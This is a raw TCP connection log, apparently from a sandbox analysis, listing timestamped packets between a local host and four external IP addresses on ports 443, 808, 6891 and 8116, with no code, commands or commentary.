Oct 28, 2021 04:52:25.212034941 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:25.212105989 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:25.212136030 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:25.212163925 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:25.222331047 CEST	49937	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:25.222357035 CEST	443	49937	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:25.224072933 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.224334955 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.224625111 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.224899054 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.228080034 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.228801012 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.341598034 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.386382103 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.389611006 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.390687943 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.390708923 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.504317045 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.504492998 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.525870085 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.688533068 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.688772917 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.688997030 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.689785004 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.693110943 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.693222046 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.779108047 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.779148102 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.779306889 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.779357910 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.782104969 CEST	49938	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:25.852425098 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.855689049 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.855753899 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.855792999 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:25.902992010 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:25.943253994 CEST	808	49938	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:26.069612026 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.069788933 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.070698023 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.236959934 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.236995935 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.237107992 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.237808943 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.241028070 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:26.241065979 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:26.241156101 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:26.241190910 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:26.243596077 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.243769884 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.255682945 CEST	49939	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:26.410069942 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.410098076 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.410104990 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.418303967 CEST	808	49939	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:26.433089018 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.598424911 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.598603010 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.599406958 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.765865088 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.766045094 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.766107082 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.767093897 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.774169922 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.774287939 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.794229031 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.794260025 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.794318914 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.794373989 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.797854900 CEST	49940	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:26.916878939 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:26.940792084 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.940833092 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.940877914 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.940895081 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.965375900 CEST	6891	49940	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:26.969857931 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:26.969983101 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:26.970634937 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.023504972 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.024069071 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.024187088 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.024704933 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.028275013 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.028389931 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.081106901 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.081371069 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.272298098 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.272358894 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.272418976 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.272450924 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.278188944 CEST	49942	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.323653936 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:27.323690891 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:27.323753119 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:27.323779106 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:27.329543114 CEST	49941	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:27.331032038 CEST	8116	49942	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.450364113 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.495480061 CEST	6891	49941	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:27.498610973 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.498764038 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.499274969 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.507980108 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:27.508018017 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:27.508104086 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:27.508671999 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:27.508692980 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:27.547379971 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.547671080 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.547847986 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.548767090 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.556246996 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.556458950 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.604485989 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.605231047 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.641983032 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.774528027 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.774589062 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.774686098 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.774735928 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.780678988 CEST	49943	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:27.828820944 CEST	8116	49943	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:27.904671907 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:27.904723883 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:27.904822111 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:27.905467033 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:27.905492067 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.001426935 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.001511097 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.002382040 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.002393961 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.006714106 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.006728888 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.006861925 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.006870985 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.432518959 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.432775974 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.433255911 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.433268070 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.437074900 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.437086105 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.437175989 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.437186003 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.696224928 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.696335077 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.696516991 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.698745966 CEST	49944	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:28.698780060 CEST	443	49944	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:28.806174040 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:28.969363928 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:28.969465017 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:28.970328093 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.133302927 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.133407116 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.133482933 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.133996964 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.138355017 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.138482094 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.150394917 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:29.150454044 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:29.150501013 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:29.150520086 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:29.157676935 CEST	49945	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:29.157706022 CEST	443	49945	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:29.296895027 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.301409960 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.301436901 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.301451921 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.301465988 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.337296009 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.502593040 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.502698898 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.508383036 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.673743010 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.673852921 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.673935890 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.674591064 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.680293083 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.680444956 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.683883905 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.683911085 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.683971882 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.683998108 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.687236071 CEST	49946	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:29.839607000 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.840593100 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:29.845611095 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.845633984 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.845644951 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.845654964 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:29.850218058 CEST	808	49946	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:30.006972075 CEST	6891	49949	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.007194042 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.007869005 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.174063921 CEST	6891	49949	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.174173117 CEST	6891	49949	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.174257994 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.174678087 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.177618027 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.177721977 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.225801945 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:30.225832939 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:30.226006031 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:30.226035118 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:30.232161999 CEST	49947	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:30.344146013 CEST	6891	49949	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.361687899 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.397414923 CEST	808	49947	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:30.527240992 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.528902054 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.529997110 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.695238113 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.695297003 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.695394993 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.696238995 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.702622890 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.702940941 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.721519947 CEST	6891	49949	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.721545935 CEST	6891	49949	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.721678019 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.725317955 CEST	49949	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:30.838450909 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:30.867898941 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.868380070 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.886347055 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:30.886610985 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:30.887150049 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:30.891547918 CEST	6891	49949	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.906101942 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:30.934741974 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:30.935086012 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:30.937500000 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:30.938309908 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:30.941761017 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:30.941853046 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:30.989442110 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:30.989530087 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.182110071 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.182143927 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.182238102 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.184286118 CEST	49952	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.232788086 CEST	8116	49952	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.250401020 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:31.250423908 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:31.250509024 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:31.256267071 CEST	49950	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:52:31.368045092 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.368102074 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:31.368201971 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.368751049 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.368791103 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:31.373678923 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.421644926 CEST	6891	49950	45.77.0.96	192.168.2.5
Oct 28, 2021 04:52:31.429099083 CEST	8116	49954	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.429181099 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.429708004 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.484688997 CEST	8116	49954	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.484955072 CEST	8116	49954	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.485043049 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.485524893 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.489036083 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.489137888 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.544240952 CEST	8116	49954	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.713551044 CEST	8116	49954	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.713581085 CEST	8116	49954	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.713758945 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.713958979 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.719765902 CEST	49954	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:52:31.774112940 CEST	8116	49954	185.56.219.47	192.168.2.5
Oct 28, 2021 04:52:31.837490082 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.837557077 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:31.837690115 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.838272095 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.838293076 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:31.861376047 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:31.861475945 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.862066031 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.862078905 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:31.867772102 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.867786884 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:31.867928028 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:31.867938995 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.321964979 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.322067976 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:32.322707891 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:32.322721958 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.326870918 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:32.326889992 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.327013969 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:32.327024937 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.557609081 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.557710886 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:32.557713032 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.557777882 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:32.561578035 CEST	49953	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:32.561599970 CEST	443	49953	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:32.712332010 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:32.872191906 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:32.872380018 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:32.872968912 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.016482115 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:33.016570091 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:33.016570091 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:33.016624928 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:33.023176908 CEST	49955	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:52:33.023210049 CEST	443	49955	192.46.210.220	192.168.2.5
Oct 28, 2021 04:52:33.032699108 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.032910109 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.032982111 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.033463955 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.037389994 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.037489891 CEST	49956	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.193114996 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.196970940 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.197000027 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.197012901 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.197033882 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.197077036 CEST	808	49956	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.220839977 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.379055977 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.379173040 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.379756927 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.538810015 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.538930893 CEST	808	49957	143.244.140.214	192.168.2.5
Oct 28, 2021 04:52:33.539030075 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.539568901 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.543472052 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.543601990 CEST	49957	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:52:33.573499918 CEST	808	49956	143.244.140.214	192.168.2.5
